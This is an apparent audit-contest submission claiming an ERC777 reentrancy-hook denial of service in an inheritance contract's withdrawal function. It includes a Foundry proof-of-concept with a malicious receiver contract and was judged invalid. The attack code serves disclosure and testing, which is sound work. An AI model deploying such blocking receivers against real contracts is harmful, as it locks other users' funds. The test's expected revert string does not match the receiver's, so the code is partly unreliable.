Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Invalid

Lock of funds by DoS attack in withdrawInheritedFunds()

Summary

The withdrawInheritedFunds function is vulnerable to ERC777 token-based denial-of-service (DoS) attacks, allowing a malicious beneficiary to permanently lock all inherited funds.

Vulnerability Details

The vulnerability exists because:

  • Token distribution is atomic (all-or-nothing)

  • ERC777 tokensReceived hooks allow recipients to revert transfers

  • Failed transfers abort the entire withdrawal process

Attack flow:

  1. Malicious beneficiary deploys contract reverting in tokensReceived

  2. Regular withdrawal attempt triggers malicious hook

  3. Entire transaction reverts, locking funds permanently

    PoC:

    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.26;
    import "forge-std/Test.sol";
    import "../../src/InheritanceManager.sol";
    contract ERC777DoSTest is Test {
    InheritanceManager public target;
    MockERC777 public token;
    MaliciousReceiver public attacker;
    address public normalBeneficiary1;
    address public normalBeneficiary2;
    function setUp() public {
    // Deploy contracts
    target = new InheritanceManager();
    token = new MockERC777("Test Token", "TEST");
    // Create beneficiaries
    normalBeneficiary1 = makeAddr("normalBeneficiary1");
    normalBeneficiary2 = makeAddr("normalBeneficiary2");
    attacker = new MaliciousReceiver();
    // Setup the inheritance state
    target.addBeneficiery(address(attacker));
    target.addBeneficiery(normalBeneficiary1);
    target.addBeneficiery(normalBeneficiary2);
    // Wait for inheritance period
    vm.warp(block.timestamp + 91 days);
    // Activate inheritance
    vm.prank(normalBeneficiary1);
    target.inherit();
    // Fund the inheritance contract with tokens
    token.mint(address(target), 1000 ether);
    }
    function testERC777DoSAttack() public {
    // Configure attacker to block transactions
    attacker.setShouldRevert(true);
    // Attempt withdrawal by normal beneficiary
    vm.prank(normalBeneficiary1);
    vm.expectRevert();
    target.withdrawInheritedFunds(address(token));
    // Verify tokens remain locked in the contract
    assertEq(token.balanceOf(address(target)), 1000 ether, "Tokens should remain locked in target");
    assertEq(token.balanceOf(normalBeneficiary1), 0, "Normal beneficiary should not receive tokens");
    assertEq(token.balanceOf(normalBeneficiary2), 0, "Normal beneficiary should not receive tokens");
    assertEq(token.balanceOf(address(attacker)), 0, "Attacker should not receive tokens");
    // Show that even the attacker cannot withdraw (DoS affects everyone)
    vm.prank(address(attacker));
    vm.expectRevert("Attack: Blocking token transfer");
    target.withdrawInheritedFunds(address(token));
    console.log("ERC777 DoS Attack: Funds are locked");
    }
    }
    // Minimal ERC777 implementation
    contract MockERC777 {
    mapping(address => uint256) private _balances;
    string private _name;
    string private _symbol;
    constructor(string memory name_, string memory symbol_) {
    _name = name_;
    _symbol = symbol_;
    }
    function name() public view returns (string memory) {
    return _name;
    }
    function symbol() public view returns (string memory) {
    return _symbol;
    }
    function balanceOf(address account) public view returns (uint256) {
    return _balances[account];
    }
    function mint(address account, uint256 amount) public {
    _balances[account] += amount;
    }
    // This is the key function that simulates ERC777 behavior
    function transfer(address recipient, uint256 amount) public returns (bool) {
    _balances[msg.sender] -= amount;
    // Call tokensReceived on the recipient if it's a contract
    if (recipient.code.length > 0) {
    try MaliciousReceiver(recipient).tokensReceived(msg.sender, msg.sender, recipient, amount, "", "") {
    _balances[recipient] += amount;
    return true;
    } catch Error(string memory reason) {
    // If the recipient reverts, revert the whole transaction
    revert(reason);
    } catch {
    revert("ERC777: token recipient reverted");
    }
    }
    _balances[recipient] += amount;
    return true;
    }
    }
    // Simplified malicious receiver
    contract MaliciousReceiver {
    bool public shouldRevert;
    function setShouldRevert(bool _shouldRevert) external {
    shouldRevert = _shouldRevert;
    }
    function tokensReceived(
    address operator,
    address from,
    address to,
    uint256 amount,
    bytes memory userData,
    bytes memory operatorData
    ) external {
    // DoS attack - block the token transfer
    if (shouldRevert) {
    revert("Attack: Block the transfer");
    }
    }
    }

Impact

  • All inherited erc777 funds become permanently inaccessible

  • Affects all beneficiaries, not just the malicious actor

Tools Used

  • Foundry

  • Manual code analysis

Recommendations

  1. Implement individual withdraws to prevent other users from locking the funds

Updates

Lead Judging Commences

0xtimefliez Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!